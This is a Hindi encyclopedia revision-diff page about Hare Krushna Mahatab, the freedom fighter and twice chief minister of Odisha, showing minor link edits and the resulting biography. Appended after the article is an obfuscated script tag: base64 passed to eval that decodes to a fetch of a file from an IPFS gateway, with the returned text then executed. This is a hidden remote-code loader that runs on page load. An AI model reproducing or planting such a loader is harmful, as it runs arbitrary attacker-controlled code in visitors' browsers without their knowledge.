"हरे कृष्ण मेहताब": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) छो (Text replacement - "जमींदार " to "ज़मींदार ") |
No edit summary |
||
पंक्ति 29: | पंक्ति 29: | ||
|शीर्षक 2= | |शीर्षक 2= | ||
|पाठ 2= | |पाठ 2= | ||
|अन्य जानकारी=हरे कृष्ण मेहताब कुछ वर्षों तक कांग्रेस कार्यकारिणी समिति के सदस्य रहे। [[1953]] में उन्हें [[संसद]] में कांग्रेस पार्टी का महासचिव नियुक्त किया गया तथा [[लोक सभा]] में शासक वर्ग की पार्टी का उपनेता बनाया गया। | |अन्य जानकारी=हरे कृष्ण मेहताब कुछ वर्षों तक कांग्रेस कार्यकारिणी समिति के सदस्य रहे। [[1953]] में उन्हें [[संसद]] में [[कांग्रेस|कांग्रेस पार्टी]] का महासचिव नियुक्त किया गया तथा [[लोक सभा]] में शासक वर्ग की पार्टी का उपनेता बनाया गया। | ||
|बाहरी कड़ियाँ= | |बाहरी कड़ियाँ= | ||
|अद्यतन= | |अद्यतन= | ||
}} | }} | ||
'''हरे कृष्ण मेहताब''' ([[अंग्रेज़ी]]: ''Hare Krushna Mahatab'', जन्म- [[21 नवम्बर]], [[1899]], [[बालासोर]], [[उड़ीसा]]; मृत्यु- [[2 जनवरी]], [[1987]]) '[[भारतीय राष्ट्रीय कांग्रेस]]' के प्रमुख नेताओं में से एक थे। आधुनिक उड़ीसा के निर्माताओं में गिने जाने वाले हरे कृष्ण मेहताब [[भारत]] के [[स्वतंत्रता संग्राम आंदोलन|स्वतंत्रता संग्राम]] में अग्रणी रहे थे। वे [[1946]] से [[1950]] तक तथा फिर [[1956]] से [[1961]] तक उड़ीसा के [[मुख्यमंत्री]] भी रहे। हरे कृष्ण मेहताब उड़ीसा में 'उत्कल केसरी' की उपाधि से भी जाने जाते थे। | |||
'''हरे कृष्ण मेहताब''' (जन्म- [[21 नवम्बर]], [[1899]], [[बालासोर]], [[उड़ीसा]]; मृत्यु- [[2 जनवरी]], [[1987]]) '[[भारतीय राष्ट्रीय कांग्रेस]]' के प्रमुख नेताओं में से एक थे। आधुनिक उड़ीसा के निर्माताओं में गिने जाने वाले हरे कृष्ण मेहताब [[भारत]] के [[स्वतंत्रता संग्राम आंदोलन|स्वतंत्रता संग्राम]] में अग्रणी रहे थे। वे [[1946]] से [[1950]] तक तथा फिर [[1956]] से [[1961]] तक उड़ीसा के [[मुख्यमंत्री]] भी रहे। हरे कृष्ण मेहताब उड़ीसा में 'उत्कल केसरी' की उपाधि से भी जाने जाते थे। | |||
*हरे कृष्ण मेहताब उड़ीसा के बालासोर ज़िले में एक ज़मींदार परिवार में 21 नवम्बर, 1899 में पैदा हुए थे। | *हरे कृष्ण मेहताब उड़ीसा के बालासोर ज़िले में एक ज़मींदार परिवार में 21 नवम्बर, 1899 में पैदा हुए थे। | ||
पंक्ति 44: | पंक्ति 43: | ||
*हरे कृष्ण मेहताब कुछ वर्षों तक कांग्रेस कार्यकारिणी समिति के सदस्य रहे। सन [[1953]] में उन्हें [[संसद]] में कांग्रेस पार्टी का महासचिव नियुक्त किया गया तथा [[लोक सभा]] में शासक वर्ग की पार्टी का उपनेता बनाया गया। | *हरे कृष्ण मेहताब कुछ वर्षों तक कांग्रेस कार्यकारिणी समिति के सदस्य रहे। सन [[1953]] में उन्हें [[संसद]] में कांग्रेस पार्टी का महासचिव नियुक्त किया गया तथा [[लोक सभा]] में शासक वर्ग की पार्टी का उपनेता बनाया गया। | ||
*डॉ. हरे कृष्ण मेहताब ने [[उड़ीसा]] में 'जन कांग्रेस' नामक दल का गठन किया तथा [[1967]] में स्वतंत्र पार्टी के साथ संयुक्त मंत्रालय का गठन किया। | *डॉ. हरे कृष्ण मेहताब ने [[उड़ीसा]] में 'जन कांग्रेस' नामक दल का गठन किया तथा [[1967]] में स्वतंत्र पार्टी के साथ संयुक्त मंत्रालय का गठन किया। | ||
*उड़ीसा में हरे कृष्ण मेहताब ने दो महत्त्वपूर्ण कार्य किये। [[भुवनेश्वर]] को उड़ीसा की नयी राजधानी बनाया तथा [[सम्भलपुर]] में 'हीराकुण्ड बांध परियोजना' शुरू की। | *[[उड़ीसा]] में हरे कृष्ण मेहताब ने दो महत्त्वपूर्ण कार्य किये। [[भुवनेश्वर]] को उड़ीसा की नयी राजधानी बनाया तथा [[सम्भलपुर]] में 'हीराकुण्ड बांध परियोजना' शुरू की। | ||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }} |
05:17, 21 नवम्बर 2017 का अवतरण
हरे कृष्ण मेहताब
| |
पूरा नाम | हरे कृष्ण मेहताब |
जन्म | 21 नवम्बर, 1899 |
जन्म भूमि | बालासोर, उड़ीसा |
मृत्यु | 2 जनवरी, 1987 |
नागरिकता | भारतीय |
प्रसिद्धि | स्वतंत्रता सेनानी, भूतपूर्व मुख्यमंत्री, उड़ीसा |
धर्म | हिन्दू धर्म |
कार्य काल | मुख्यमंत्री, 1946 से 1950 तक फिर 1956 से 1961 तक। |
अन्य जानकारी | हरे कृष्ण मेहताब कुछ वर्षों तक कांग्रेस कार्यकारिणी समिति के सदस्य रहे। 1953 में उन्हें संसद में कांग्रेस पार्टी का महासचिव नियुक्त किया गया तथा लोक सभा में शासक वर्ग की पार्टी का उपनेता बनाया गया। |
हरे कृष्ण मेहताब (अंग्रेज़ी: Hare Krushna Mahatab, जन्म- 21 नवम्बर, 1899, बालासोर, उड़ीसा; मृत्यु- 2 जनवरी, 1987) 'भारतीय राष्ट्रीय कांग्रेस' के प्रमुख नेताओं में से एक थे। आधुनिक उड़ीसा के निर्माताओं में गिने जाने वाले हरे कृष्ण मेहताब भारत के स्वतंत्रता संग्राम में अग्रणी रहे थे। वे 1946 से 1950 तक तथा फिर 1956 से 1961 तक उड़ीसा के मुख्यमंत्री भी रहे। हरे कृष्ण मेहताब उड़ीसा में 'उत्कल केसरी' की उपाधि से भी जाने जाते थे।
- हरे कृष्ण मेहताब उड़ीसा के बालासोर ज़िले में एक ज़मींदार परिवार में 21 नवम्बर, 1899 में पैदा हुए थे।
- कटक के 'रवेनशा कॉलिज' से हरे कृष्ण मेहताब ने शिक्षा प्राप्त की।
- हरे कृष्ण मेहताब ने रामकृष्ण मिशन के साथ सहयोग दिया। उन्होंने 1920-1921 के 'असहयोग आन्दोलन' में भी भाग लिया।
- सन 1921 में हरे कृष्ण मेहताब को बालासोर ज़िले की कांग्रेस कमेटी का सचिव चुना गया।
- 1938 में भी उन्हें कांग्रेस कमेटी का सचिव चुना गया और इसी वर्ष उन्हें उड़ीसा प्रान्तीय समिति का अध्यक्ष बनाया गया।
- वर्ष 1946 से 1950 तक तथा फिर 1956 से 1961 तक हरे कृष्ण मेहताब उड़ीसा के मुख्यमंत्री भी रहे।
- हरे कृष्ण मेहताब कुछ वर्षों तक कांग्रेस कार्यकारिणी समिति के सदस्य रहे। सन 1953 में उन्हें संसद में कांग्रेस पार्टी का महासचिव नियुक्त किया गया तथा लोक सभा में शासक वर्ग की पार्टी का उपनेता बनाया गया।
- डॉ. हरे कृष्ण मेहताब ने उड़ीसा में 'जन कांग्रेस' नामक दल का गठन किया तथा 1967 में स्वतंत्र पार्टी के साथ संयुक्त मंत्रालय का गठन किया।
- उड़ीसा में हरे कृष्ण मेहताब ने दो महत्त्वपूर्ण कार्य किये। भुवनेश्वर को उड़ीसा की नयी राजधानी बनाया तथा सम्भलपुर में 'हीराकुण्ड बांध परियोजना' शुरू की।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>